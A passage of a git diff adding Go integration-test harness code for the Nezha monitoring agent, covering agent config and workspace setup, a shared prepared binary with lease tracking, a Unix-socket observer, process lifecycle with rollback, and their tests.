require.NoError(t, prepared.Close()) +} diff --git a/integration/agentcompat/internal/agent/fixture.go b/integration/agentcompat/internal/agent/fixture.go new file mode 100644 index 00000000..6ccba73d --- /dev/null +++ b/integration/agentcompat/internal/agent/fixture.go @@ -0,0 +1,142 @@ +//go:build linux + +package agent + +import ( + "context" + "errors" + "fmt" + "io/fs" + "os" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +func agentBuildSpec(sourceDir string) workspace.BuildSpec { + return workspace.BuildSpec{Name: "agent", SourceDir: sourceDir, Package: "./cmd/agent", Tags: []string{"agentcompat"}, Ldflags: []string{"-X", "github.com/nezhahq/agent/pkg/monitor.Version=v2.1.0"}} +} + +func (agent *Agent) prepareFixture(ctx context.Context, config AgentStartConfig) error { + if err := agent.prepareConfig(config); err != nil { + return err + } + if err := agent.prepareFMObserver(config); err != nil { + return err + } + if err := agent.prepareBinary(ctx, config); err != nil { + return err + } + if err := agent.grantWorkspaceOwnership(config); err != nil { + return err + } + agent.prepareEnvironment(config) + return nil +} + +func (agent *Agent) prepareConfig(config AgentStartConfig) error { + configPath, err := agent.workspace.PayloadPath("config.yml") + if err != nil { + return err + } + agent.configPath = configPath + content := fmt.Sprintf("server: %q\nclient_secret: %q\nuuid: %q\ndisable_auto_update: true\ndisable_command_execute: false\ndisable_nat: false\nreport_delay: 1\nip_report_period: 30\nskip_connection_count: %t\ntls: %t\ninsecure_tls: false\ndebug: %t\n", config.Endpoint, config.Secret, config.UUID, config.SkipConnectionCount, config.TLS, config.Debug) + if err := os.WriteFile(configPath, []byte(content), 0o600); err != nil { + return fmt.Errorf("write agent config: %w", err) + } + if !config.TLS || config.CAFilePath == "" { + return nil + } + ca, err := os.ReadFile(config.CAFilePath) + if err != nil { + return fmt.Errorf("read agent CA certificate: %w", err) + } + caPath, err := agent.workspace.PayloadPath("agent-ca.crt") + if err != nil { + return err + } + if err := os.WriteFile(caPath, ca, 0o600); err != nil { + return fmt.Errorf("write agent CA certificate: %w", err) + } + agent.caFilePath = caPath + return nil +} + +func (agent *Agent) prepareFMObserver(config AgentStartConfig) error { + if config.FMObserverRunID == "" { + return nil + } + agent.fmObserverPath = fmObserverSocketPath(agent.workspace.Root()) + observer, err := newFMProducerObserver(agent.fmObserverPath) + if err != nil { + return err + } + agent.fmObserver = observer + return nil +} + +func (agent *Agent) prepareBinary(ctx context.Context, config AgentStartConfig) error { + if config.PreparedBinary != nil { + binaryPath, release, err := config.PreparedBinary.acquire() + if err != nil { + return err + } + agent.binaryPath = binaryPath + agent.releaseBinary = release + agent.releasePending = true + return nil + } + binaryPath, err := agent.workspace.Build(ctx, agentBuildSpec(config.SourceDir)) + if err != nil { + return err + } + agent.binaryPath = binaryPath + return nil +} + +func (agent *Agent) grantWorkspaceOwnership(config AgentStartConfig) error { + if config.Credential == nil { + return nil + } + root, err := os.OpenRoot(agent.workspace.Root()) + if err != nil { + return fmt.Errorf("open agent workspace ownership root: %w", err) + } + defer root.Close() + paths := make([]string, 0) + if err := fs.WalkDir(root.FS(), ".", func(path string, entry fs.DirEntry, walkErr error) error { + if walkErr != nil { + return walkErr + } + if entry.Type()&os.ModeSymlink != 0 { + return fmt.Errorf("agent workspace symlink is not allowed: %s", path) + } + paths = append(paths, path) + return nil + }); err != nil { + return fmt.Errorf("grant agent workspace ownership: %w", err) + } + for _, path := range paths { + file, err := root.Open(path) + if err != nil { + return fmt.Errorf("grant agent workspace ownership: %w", err) + } + // Chown the opened descriptor so a concurrent pathname swap cannot retarget ownership. + chownErr := file.Chown(int(config.Credential.Uid), int(config.Credential.Gid)) + closeErr := file.Close() + if err := errors.Join(chownErr, closeErr); err != nil { + return fmt.Errorf("grant agent workspace ownership: %w", err) + } + } + return nil +} + +func (agent *Agent) prepareEnvironment(config AgentStartConfig) { + environment := filteredEnvironment() + if config.FMObserverRunID != "" { + environment = append(environment, "AGENTCOMPAT_FM_OBSERVER_SOCKET="+agent.fmObserverPath, "AGENTCOMPAT_FM_OBSERVER_RUN_ID="+config.FMObserverRunID) + } + if config.TLS && agent.caFilePath != "" { + environment = append(environment, "SSL_CERT_FILE="+agent.caFilePath) + } + agent.environment = append([]string(nil), environment...) +} diff --git a/integration/agentcompat/internal/agent/fixture_test.go b/integration/agentcompat/internal/agent/fixture_test.go new file mode 100644 index 00000000..4d83b996 --- /dev/null +++ b/integration/agentcompat/internal/agent/fixture_test.go @@ -0,0 +1,53 @@ +//go:build linux + +package agent + +import ( + "bytes" + "os" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" + "github.com/stretchr/testify/require" +) + +func TestAgent_PrepareConfigWritesSkipConnectionCount(t *testing.T) { + testCases := []struct { + name string + config AgentStartConfig + expectedConfigLine []byte + unexpectedConfigLine []byte + }{ + { + name: "writes enabled value when requested", + config: AgentStartConfig{SkipConnectionCount: true}, + expectedConfigLine: []byte("skip_connection_count: true\n"), + unexpectedConfigLine: []byte("skip_connection_count: false\n"), + }, + { + name: "writes disabled value by default", + expectedConfigLine: []byte("skip_connection_count: false\n"), + unexpectedConfigLine: []byte("skip_connection_count: true\n"), + }, + } + + for _, testCase := range testCases { + t.Run(testCase.name, func(t *testing.T) { + // Given + workspaceRoot, err := workspace.New(t.Context()) + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, workspaceRoot.Close()) }) + agent := &Agent{workspace: workspaceRoot} + + // When + err = agent.prepareConfig(testCase.config) + + // Then + require.NoError(t, err) + configBytes, err := os.ReadFile(agent.ConfigPath()) + require.NoError(t, err) + require.True(t, bytes.Contains(configBytes, testCase.expectedConfigLine)) + require.False(t, bytes.Contains(configBytes, testCase.unexpectedConfigLine)) + }) + } +} diff --git a/integration/agentcompat/internal/agent/fm_observer.go b/integration/agentcompat/internal/agent/fm_observer.go new file mode 100644 index 00000000..8ce5302a --- /dev/null +++ b/integration/agentcompat/internal/agent/fm_observer.go @@ -0,0 +1,92 @@ +//go:build linux + +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net" + "os" + "path/filepath" + "sync" +) + +type FMProducerSample struct { + RunID string `json:"run_id"` + AgentUUID string `json:"agent_uuid"` + SessionID string `json:"session_id"` + Phase string `json:"phase"` + Active int64 `json:"active"` +} + +type FMProducerObserver struct { + listener net.Listener + samples chan FMProducerSample + done chan struct{} + once sync.Once +} + +func newFMProducerObserver(socketPath string) (*FMProducerObserver, error) { + listener, err := net.Listen("unix", socketPath) + if err != nil { + return nil, fmt.Errorf("listen for FM producer observations: %w", err) + } + observer := &FMProducerObserver{listener: listener, samples: make(chan FMProducerSample, 16), done: make(chan struct{})} + go observer.accept() + return observer, nil +} + +func (observer *FMProducerObserver) accept() { + defer close(observer.done) + for { + connection, err := observer.listener.Accept() + if err != nil { + if errors.Is(err, net.ErrClosed) { + return + } + continue + } + var sample FMProducerSample + err = json.NewDecoder(connection).Decode(&sample) + _ = connection.Close() + if err == nil { + observer.samples <- sample + } + } +} + +func (observer *FMProducerObserver) Await(ctx context.Context, match func(FMProducerSample) bool) (FMProducerSample, error) { + for { + select { + case sample := <-observer.samples: + if match(sample) { + return sample, nil + } + case <-ctx.Done(): + return FMProducerSample{}, ctx.Err() + } + } +} + +func (observer *FMProducerObserver) Close() error { + var closeErr error + observer.once.Do(func() { + closeErr = observer.listener.Close() + <-observer.done + }) + return closeErr +} + +func fmObserverSocketPath(workspaceRoot string) string { + return filepath.Join(workspaceRoot, "fm-observer.sock") +} + +func removeFMObserverSocket(path string) error { + err := os.Remove(path) + if errors.Is(err, os.ErrNotExist) { + return nil + } + return err +} diff --git a/integration/agentcompat/internal/agent/prepared_binary.go b/integration/agentcompat/internal/agent/prepared_binary.go new file mode 100644 index 00000000..766e5a26 --- /dev/null +++ b/integration/agentcompat/internal/agent/prepared_binary.go @@ -0,0 +1,125 @@ +//go:build linux + +package agent + +import ( + "context" + "fmt" + "os" + "path/filepath" + "sync" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +type PreparedBinaryUsageError struct { + Operation string + Reason string +} + +func (err *PreparedBinaryUsageError) Error() string { + return fmt.Sprintf("prepared agent binary %s: %s", err.Operation, err.Reason) +} + +// PreparedBinary owns a build-only workspace. Each successful Start lease keeps +// that workspace alive; Agent workspaces own their own config, logs, and process tracking. +type PreparedBinary struct { + workspace *workspace.Workspace + binaryPath string + mu sync.Mutex + consumers int + closed bool +} + +func PrepareBinary(ctx context.Context, sourceDir string) (*PreparedBinary, error) { + if err := validateSourceDir(sourceDir); err != nil { + return nil, &PreparedBinaryUsageError{Operation: "prepare", Reason: err.Error()} + } + workspaceRoot, err := workspace.New(context.WithoutCancel(ctx)) + if err != nil { + return nil, fmt.Errorf("create prepared agent workspace: %w", err) + } + binaryPath, err := workspaceRoot.Build(ctx, agentBuildSpec(sourceDir)) + if err != nil { + return nil, closePreparedWorkspace(workspaceRoot, err) + } + if err := exposePreparedBinary(workspaceRoot.Root(), binaryPath); err != nil { + return nil, closePreparedWorkspace(workspaceRoot, err) + } + return &PreparedBinary{workspace: workspaceRoot, binaryPath: binaryPath}, nil +} + +func closePreparedWorkspace(workspaceRoot *workspace.Workspace, cause error) error { + return fmt.Errorf("prepare agent binary: %w", closeError(cause, workspaceRoot.Close())) +} + +func exposePreparedBinary(root, binaryPath string) error { + for _, path := range []string{root, filepath.Dir(binaryPath)} { + if err := os.Chmod(path, 0o711); err != nil { // #nosec G302 -- Directories need search permission for the credentialed test agent without granting directory reads; payloads and logs remain private. + return fmt.Errorf("make prepared agent binary executable: %w", err) + } + } + return nil +} + +func (prepared *PreparedBinary) BinaryPath() string { + if prepared == nil { + return "" + } + prepared.mu.Lock() + defer prepared.mu.Unlock() + return prepared.binaryPath +} + +func (prepared *PreparedBinary) WorkspaceRoot() string { + if prepared == nil { + return "" + } + prepared.mu.Lock() + defer prepared.mu.Unlock() + return prepared.workspace.Root() +} + +func (prepared *PreparedBinary) acquire() (string, func(), error) { + if prepared == nil { + return "", nil, &PreparedBinaryUsageError{Operation: "start", Reason: "is nil"} + } + prepared.mu.Lock() + defer prepared.mu.Unlock() + if prepared.workspace == nil || prepared.binaryPath == "" { + return "", nil, &PreparedBinaryUsageError{Operation: "start", Reason: "is uninitialized"} + } + if prepared.closed { + return "", nil, &PreparedBinaryUsageError{Operation: "start", Reason: "is closed"} + } + prepared.consumers++ + return prepared.binaryPath, prepared.release, nil +} + +func (prepared *PreparedBinary) release() { + prepared.mu.Lock() + defer prepared.mu.Unlock() + prepared.consumers-- +} + +func (prepared *PreparedBinary) Close() error { + if prepared == nil { + return &PreparedBinaryUsageError{Operation: "close", Reason: "is nil"} + } + prepared.mu.Lock() + defer prepared.mu.Unlock() + if prepared.workspace == nil || prepared.binaryPath == "" { + return &PreparedBinaryUsageError{Operation: "close", Reason: "is uninitialized"} + } + if prepared.closed { + return nil + } + if prepared.consumers != 0 { + return &PreparedBinaryUsageError{Operation: "close", Reason: "has active consumers"} + } + if err := prepared.workspace.Close(); err != nil { + return fmt.Errorf("close prepared agent workspace: %w", err) + } + prepared.closed = true + return nil +} diff --git a/integration/agentcompat/internal/agent/prepared_binary_cleanup_failure_test.go b/integration/agentcompat/internal/agent/prepared_binary_cleanup_failure_test.go new file mode 100644 index 00000000..ebe1ed4f --- /dev/null +++ b/integration/agentcompat/internal/agent/prepared_binary_cleanup_failure_test.go @@ -0,0 +1,101 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "errors" + "net" + "os" + "syscall" + "testing" + "time" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" + "github.com/stretchr/testify/require" +) + +func TestPreparedBinary_ReleasesLeaseWhenOnlyWorkspaceCleanupFails(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + _, release, err := prepared.acquire() + require.NoError(t, err) + workspaceRoot, err := workspace.New(context.WithoutCancel(t.Context())) + require.NoError(t, err) + listener, err := net.Listen("tcp", "127.0.0.1:0") + require.NoError(t, err) + ownedListener, err := workspaceRoot.AdoptListener(listener) + require.NoError(t, err) + heldListener, err := ownedListener.ExtraFile() + require.NoError(t, err) + + agent := &Agent{workspace: workspaceRoot, releaseBinary: release, releasePending: true, cleanupDone: make(chan struct{})} + stopErr := agent.Stop(t.Context()) + require.Error(t, stopErr) + require.NoError(t, prepared.Close()) + require.NoError(t, heldListener.Close()) + require.NoError(t, workspaceRoot.Close()) + require.NoDirExists(t, workspaceRoot.Root()) +} + +func TestPreparedBinary_RetainsLeaseWhileConsumerProcessGroupLivesAfterCleanupFailure(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + binaryPath, release, err := prepared.acquire() + require.NoError(t, err) + workspaceRoot, err := workspace.New(context.WithoutCancel(t.Context())) + require.NoError(t, err) + + supervisor := processharness.NewSupervisor(t.Context(), processharness.Spec{ + Name: "prepared-binary-lingering-consumer", Path: "/bin/sh", Args: []string{"-c", "exec tail -f /dev/null"}, + MaxLogBytes: 1024, TerminateTimeout: time.Second, KillTimeout: time.Second, + }) + cancelledContext, cancel := context.WithCancel(t.Context()) + cancel() + _ = supervisor.Stop(cancelledContext) + require.NoError(t, supervisor.Stop(t.Context())) + require.NoError(t, supervisor.Start()) + pid := supervisor.PID() + pgid := supervisor.ProcessGroupID() + require.NoError(t, workspaceRoot.TrackPID(pid)) + require.NoError(t, workspaceRoot.TrackProcessGroup(pgid)) + + agent := &Agent{ + workspace: workspaceRoot, binaryPath: binaryPath, releaseBinary: release, releasePending: true, + cleanupDone: make(chan struct{}), processes: []*processGeneration{{supervisor: supervisor, identity: ProcessIdentity{PID: pid, ProcessGroupID: pgid}}}, + } + t.Cleanup(func() { + _ = syscall.Kill(-pgid, syscall.SIGKILL) + select { + case <-supervisor.Exited(): + case <-time.After(5 * time.Second): + } + _ = workspaceRoot.Close() + _ = prepared.Close() + }) + + stopErr := agent.Stop(t.Context()) + require.Error(t, stopErr) + firstStopError := stopErr.Error() + require.NoError(t, syscall.Kill(-pgid, 0)) + require.FileExists(t, binaryPath) + closeErr := prepared.Close() + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, closeErr, &usageErr) + require.Equal(t, "has active consumers", usageErr.Reason) + + require.NoError(t, syscall.Kill(-pgid, syscall.SIGKILL)) + select { + case <-supervisor.Exited(): + case <-time.After(5 * time.Second): + t.Fatal("lingering consumer process was not reaped") + } + require.True(t, errors.Is(syscall.Kill(-pgid, 0), syscall.ESRCH)) + recoveryErr := agent.Stop(t.Context()) + require.Error(t, recoveryErr) + require.Equal(t, firstStopError, recoveryErr.Error()) + require.NoError(t, prepared.Close()) + _, statErr := os.Stat(prepared.WorkspaceRoot()) + require.ErrorIs(t, statErr, os.ErrNotExist) +} diff --git a/integration/agentcompat/internal/agent/prepared_binary_concurrency_test.go b/integration/agentcompat/internal/agent/prepared_binary_concurrency_test.go new file mode 100644 index 00000000..f3bbcb70 --- /dev/null +++ b/integration/agentcompat/internal/agent/prepared_binary_concurrency_test.go @@ -0,0 +1,57 @@ +//go:build linux && agentcompat + +package agent + +import ( + "fmt" + "sync" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestPreparedBinary_ConcurrentConsumersSharePathAndBlockClose(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + t.Cleanup(func() { _ = prepared.Close() }) + + releases := make(chan func(), 8) + errorsChannel := make(chan error, 8) + var acquireGroup sync.WaitGroup + for range 8 { + acquireGroup.Add(1) + go func() { + defer acquireGroup.Done() + path, release, acquireErr := prepared.acquire() + if acquireErr == nil && path != prepared.BinaryPath() { + acquireErr = fmt.Errorf("acquired path %q differs from prepared path", path) + } + errorsChannel <- acquireErr + if acquireErr == nil { + releases <- release + } + }() + } + acquireGroup.Wait() + close(errorsChannel) + close(releases) + for acquireErr := range errorsChannel { + require.NoError(t, acquireErr) + } + + closeErr := prepared.Close() + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, closeErr, &usageErr) + require.Equal(t, "has active consumers", usageErr.Reason) + + var releaseGroup sync.WaitGroup + for release := range releases { + releaseGroup.Add(1) + go func() { + defer releaseGroup.Done() + release() + }() + } + releaseGroup.Wait() + require.NoError(t, prepared.Close()) +} diff --git a/integration/agentcompat/internal/agent/prepared_binary_test.go b/integration/agentcompat/internal/agent/prepared_binary_test.go new file mode 100644 index 00000000..646d65ad --- /dev/null +++ b/integration/agentcompat/internal/agent/prepared_binary_test.go @@ -0,0 +1,199 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "syscall" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestPreparedBinary_EightIndependentAgentsShareBinaryAndCleanUp(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + preparedRoot := prepared.WorkspaceRoot() + binaryPath := prepared.BinaryPath() + require.FileExists(t, binaryPath) + requireDirectoryMode(t, preparedRoot, 0o711) + requireDirectoryMode(t, filepath.Dir(binaryPath), 0o711) + initialBinaryInfo, err := os.Stat(binaryPath) + require.NoError(t, err) + initialBinaryStat, ok := initialBinaryInfo.Sys().(*syscall.Stat_t) + require.True(t, ok) + instances := make([]*Agent, 0, 8) + t.Cleanup(func() { + for _, instance := range instances { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + _ = instance.Stop(cleanupContext) + cancel() + } + _ = prepared.Close() + }) + dashboardInstance := startTestDashboard(t, true) + configPaths := make(map[string]struct{}, 8) + logPaths := make(map[string]struct{}, 8) + for index := range 8 { + config := AgentStartConfig{ + PreparedBinary: prepared, + Endpoint: dashboardInstance.TLSEndpoint(), + Secret: dashboardInstance.AgentSecret(), + UUID: preparedBinaryUUID(index), + TLS: true, + CAFilePath: dashboardInstance.TLSCACertificatePath(), + Debug: index%2 == 0, + } + if index == 6 { + config.FMObserverRunID = "prepared-binary-observer" + } + if index == 7 { + config.Credential = &syscall.Credential{Uid: 65534, Gid: 65534} + } + instance, startErr := Start(t.Context(), config) + require.NoError(t, startErr) + require.Equal(t, binaryPath, instance.BinaryPath()) + processBinaryInfo, statErr := os.Stat(fmt.Sprintf("/proc/%d/exe", instance.PID())) + if errors.Is(statErr, syscall.EACCES) || errors.Is(statErr, syscall.EPERM) { + t.Logf("kernel denied /proc/%d/exe metadata for agent %d", instance.PID(), index) + } else { + require.NoError(t, statErr) + processBinaryStat, statOK := processBinaryInfo.Sys().(*syscall.Stat_t) + require.True(t, statOK) + require.Equal(t, initialBinaryStat.Dev, processBinaryStat.Dev) + require.Equal(t, initialBinaryStat.Ino, processBinaryStat.Ino) + } + require.NotEqual(t, preparedRoot, instance.WorkspaceRoot()) + require.NoFileExists(t, filepath.Join(instance.WorkspaceRoot(), "bin", "agent")) + configPaths[instance.ConfigPath()] = struct{}{} + logPaths[instance.LogPath()] = struct{}{} + require.NoError(t, waitForAgentReady(t, instance, dashboardInstance)) + if index == 6 { + require.NotNil(t, instance.FMProducerObserver()) + require.FileExists(t, instance.fmObserverPath) + } + if index == 7 { + status, statusErr := os.ReadFile(fmt.Sprintf("/proc/%d/status", instance.PID())) + require.NoError(t, statusErr) + require.Contains(t, string(status), "Uid:\t65534\t65534\t65534\t65534") + } + instances = append(instances, instance) + } + finalBinaryInfo, err := os.Stat(binaryPath) + require.NoError(t, err) + require.True(t, os.SameFile(initialBinaryInfo, finalBinaryInfo)) + require.Len(t, configPaths, 8) + require.Len(t, logPaths, 8) + closeErr := prepared.Close() + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, closeErr, &usageErr) + require.Equal(t, "close", usageErr.Operation) + require.Equal(t, "has active consumers", usageErr.Reason) + for index, instance := range instances { + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + require.NoError(t, instance.Stop(stopContext), "agent %d", index) + cancel() + require.True(t, instance.CleanupReceipt().Passed) + require.False(t, instance.CleanupReceipt().Forced) + if index < len(instances)-1 { + require.DirExists(t, preparedRoot) + require.FileExists(t, binaryPath) + } + } + require.NoError(t, prepared.Close()) + require.NoError(t, prepared.Close()) + _, statErr := os.Stat(preparedRoot) + require.ErrorIs(t, statErr, os.ErrNotExist) +} + +func requireDirectoryMode(t *testing.T, path string, want os.FileMode) { + t.Helper() + info, err := os.Stat(path) + require.NoError(t, err) + require.Equal(t, want, info.Mode().Perm()) +} + +func TestAgent_StartBuildsAndOwnsItsBinary(t *testing.T) { + instance, err := Start(t.Context(), AgentStartConfig{ + SourceDir: testAgentSourceDir(t), + Endpoint: "127.0.0.1:1", + UUID: "00000000-0000-0000-0000-000000000197", + }) + require.NoError(t, err) + workspaceRoot := instance.WorkspaceRoot() + require.Equal(t, filepath.Join(workspaceRoot, "bin", "agent"), instance.BinaryPath()) + require.FileExists(t, instance.BinaryPath()) + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, instance.Stop(stopContext)) + _, statErr := os.Stat(workspaceRoot) + require.ErrorIs(t, statErr, os.ErrNotExist) +} + +func TestPreparedBinary_RejectsConsumerAfterClose(t *testing.T) { + prepared, err := PrepareBinary(t.Context(), testAgentSourceDir(t)) + require.NoError(t, err) + require.NoError(t, prepared.Close()) + _, err = Start(t.Context(), AgentStartConfig{ + PreparedBinary: prepared, + Endpoint: "127.0.0.1:1", + UUID: "00000000-0000-0000-0000-000000000198", + }) + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, err, &usageErr) + require.Equal(t, "start", usageErr.Operation) + require.Equal(t, "is closed", usageErr.Reason) +} + +func TestPreparedBinary_RejectsInvalidSourceDirectory(t *testing.T) { + _, err := PrepareBinary(t.Context(), "relative") + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, err, &usageErr) + require.Equal(t, "prepare", usageErr.Operation) + require.True(t, strings.Contains(usageErr.Reason, "must be absolute")) +} + +func TestPreparedBinary_CancelledBuildRemovesWorkspace(t *testing.T) { + temporaryRoot := t.TempDir() + t.Setenv("TMPDIR", temporaryRoot) + ctx, cancel := context.WithCancel(t.Context()) + cancel() + + _, err := PrepareBinary(ctx, testAgentSourceDir(t)) + require.Error(t, err) + entries, readErr := os.ReadDir(temporaryRoot) + require.NoError(t, readErr) + require.Empty(t, entries) +} + +func TestPreparedBinary_RejectsUninitializedValue(t *testing.T) { + _, err := Start(t.Context(), AgentStartConfig{ + PreparedBinary: &PreparedBinary{}, + Endpoint: "127.0.0.1:1", + UUID: "00000000-0000-0000-0000-000000000199", + }) + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, err, &usageErr) + require.Equal(t, "start", usageErr.Operation) + require.Equal(t, "is uninitialized", usageErr.Reason) +} + +func TestPreparedBinary_CloseRejectsNilAndUninitializedValues(t *testing.T) { + var nilPrepared *PreparedBinary + for _, prepared := range []*PreparedBinary{nilPrepared, &PreparedBinary{}} { + err := prepared.Close() + var usageErr *PreparedBinaryUsageError + require.ErrorAs(t, err, &usageErr) + require.Equal(t, "close", usageErr.Operation) + } +} + +func preparedBinaryUUID(index int) string { + return fmt.Sprintf("00000000-0000-0000-0000-%012d", 190+index) +} diff --git a/integration/agentcompat/internal/agent/process_lifecycle.go b/integration/agentcompat/internal/agent/process_lifecycle.go new file mode 100644 index 00000000..2082173c --- /dev/null +++ b/integration/agentcompat/internal/agent/process_lifecycle.go @@ -0,0 +1,170 @@ +//go:build linux + +package agent + +import ( + "context" + "errors" + "fmt" + "strings" + "syscall" + "time" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type ProcessIdentity struct { + Generation uint64 + PID int + ProcessGroupID int +} + +type ProcessTransition struct { + Previous ProcessIdentity + Current ProcessIdentity +} + +type processGeneration struct { + supervisor *processharness.Supervisor + identity ProcessIdentity + record processharness.CleanupRecord +} + +func (agent *Agent) RuntimeIdentity() ProcessIdentity { + agent.processMu.Lock() + defer agent.processMu.Unlock() + if agent.currentProcess == nil { + return ProcessIdentity{} + } + return agent.currentProcess.identity +} + +func (agent *Agent) StartProcess(ctx context.Context) (ProcessTransition, error) { + agent.processMu.Lock() + defer agent.processMu.Unlock() + if agent.closed { + return ProcessTransition{}, errors.New("agent is closed") + } + if agent.currentProcess != nil { + return ProcessTransition{}, errors.New("agent process is already running") + } + agent.generation++ + logFile, err := agent.workspace.Log(fmt.Sprintf("agent-%s-generation-%d", strings.ReplaceAll(agent.uuid, "-", ""), agent.generation)) + if err != nil { + return ProcessTransition{}, err + } + agent.logPath = logFile.Name() + newSupervisor := processharness.NewSupervisor + if agent.startConfig.newSupervisor != nil { + newSupervisor = agent.startConfig.newSupervisor + } + supervisor := newSupervisor(ctx, processharness.Spec{ + Name: "agent", Path: agent.binaryPath, Args: []string{"-c", agent.configPath}, Env: agent.environment, + Stdout: logFile, Stderr: logFile, MaxLogBytes: agentMaxLogBytes, + TerminateTimeout: agentStopTimeout, KillTimeout: agentKillTimeout, + Credential: agent.startConfig.Credential, + }) + if err := supervisor.Start(); err != nil { + return ProcessTransition{}, err + } + identity := ProcessIdentity{Generation: agent.generation, PID: supervisor.PID(), ProcessGroupID: supervisor.ProcessGroupID()} + generation := &processGeneration{supervisor: supervisor, identity: identity, record: supervisor.CleanupRecord()} + // Register the started generation before post-start setup so failures remain cleanup-owned. + agent.currentProcess = generation + agent.supervisor = supervisor + agent.processes = append(agent.processes, generation) + if err := agent.trackPID(identity.PID); err != nil { + return agent.rollbackStartedProcess(ctx, generation, err) + } + if err := agent.trackProcessGroup(identity.ProcessGroupID); err != nil { + return agent.rollbackStartedProcess(ctx, generation, err) + } + previous := ProcessIdentity{} + return ProcessTransition{Previous: previous, Current: identity}, nil +} + +func (agent *Agent) rollbackStartedProcess(ctx context.Context, generation *processGeneration, trackingErr error) (ProcessTransition, error) { + agent.currentProcess = nil + agent.supervisor = nil + rollbackContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 15*time.Second) + defer cancel() + rollbackErr := generation.supervisor.Stop(rollbackContext) + generation.record = generation.supervisor.CleanupRecord() + return ProcessTransition{}, errors.Join(trackingErr, rollbackErr) +} + +func (agent *Agent) StopProcess(ctx context.Context) (ProcessTransition, error) { + agent.processMu.Lock() + process := agent.currentProcess + if process == nil { + agent.processMu.Unlock() + return ProcessTransition{}, errors.New("agent process is not running") + } + agent.currentProcess = nil + agent.supervisor = nil + agent.processMu.Unlock() + if err := process.supervisor.Stop(ctx); err != nil { + return ProcessTransition{Previous: process.identity}, fmt.Errorf("stop agent process: %w", err) + } + process.record = process.supervisor.CleanupRecord() + return ProcessTransition{Previous: process.identity}, nil +} + +func (agent *Agent) RestartProcess(ctx context.Context) (ProcessTransition, error) { + stopped, err := agent.StopProcess(ctx) + if err != nil { + return stopped, err + } + started, err := agent.StartProcess(ctx) + if err != nil { + return ProcessTransition{Previous: stopped.Previous}, err + } + return ProcessTransition{Previous: stopped.Previous, Current: started.Current}, nil +} + +func (agent *Agent) Restart(ctx context.Context) error { + _, err := agent.RestartProcess(ctx) + return err +} + +func (agent *Agent) Close(ctx context.Context) error { + agent.processMu.Lock() + agent.closed = true + agent.processMu.Unlock() + return agent.Stop(ctx) +} + +func (agent *Agent) closeProcesses(ctx context.Context) error { + agent.processMu.Lock() + processes := append([]*processGeneration(nil), agent.processes...) + agent.processMu.Unlock() + var cleanupError error + for _, process := range processes { + stopContext, cancel := context.WithTimeout(ctx, 15*time.Second) + cleanupError = errors.Join(cleanupError, process.supervisor.Stop(stopContext)) + cancel() + process.record = process.supervisor.CleanupRecord() + } + return cleanupError +} + +func (agent *Agent) processesQuiescent() bool { + agent.processMu.Lock() + processes := append([]*processGeneration(nil), agent.processes...) + agent.processMu.Unlock() + for _, process := range processes { + select { + case <-process.supervisor.Exited(): + default: + return false + } + err := syscall.Kill(-process.identity.ProcessGroupID, 0) + if err == nil || errors.Is(err, syscall.EPERM) { + return false + } + if !errors.Is(err, syscall.ESRCH) { + return false + } + } + return true +} diff --git a/integration/agentcompat/internal/agent/process_tracking_rollback_test.go b/integration/agentcompat/internal/agent/process_tracking_rollback_test.go new file mode 100644 index 00000000..ed1bcd9a --- /dev/null +++ b/integration/agentcompat/internal/agent/process_tracking_rollback_test.go @@ -0,0 +1,142 @@ +//go:build linux && agentcompat + +package agent + +import ( + "context" + "errors" + "os" + "path/filepath" + "strconv" + "syscall" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +func TestAgent_StartProcess_tracksStartedGenerationForStop(t *testing.T) { + agent := newUnstartedTestAgent(t) + transition, err := agent.StartProcess(t.Context()) + require.NoError(t, err) + require.NotZero(t, transition.Current.PID) + require.Equal(t, transition.Current, agent.RuntimeIdentity()) + require.NoError(t, agent.Stop(t.Context())) +} + +func TestAgent_StartProcess_rollsBackStartedGenerationWhenPIDTrackingFails(t *testing.T) { + agent := newUnstartedTestAgent(t) + trackingErr := errors.New("injected PID tracking failure") + var startedPID int + agent.trackPID = func(pid int) error { + startedPID = pid + return trackingErr + } + _, err := agent.StartProcess(t.Context()) + require.ErrorIs(t, err, trackingErr) + require.Empty(t, agent.RuntimeIdentity()) + receipt := agent.CleanupReceipt() + require.Len(t, receipt.Processes, 1) + t.Logf("started_pid=%d started_pgid=%d injected_failure=%q runtime_identity=%+v cleanup_record=%+v forced=%t", startedPID, startedPID, trackingErr, agent.RuntimeIdentity(), receipt.Processes[0], receipt.Forced) + require.Equal(t, "agent", receipt.Processes[0].Name) + require.NotZero(t, receipt.Processes[0].PID) + require.False(t, receipt.Processes[0].Forced) + requireProcessAndGroupGone(t, receipt.Processes[0].PID, 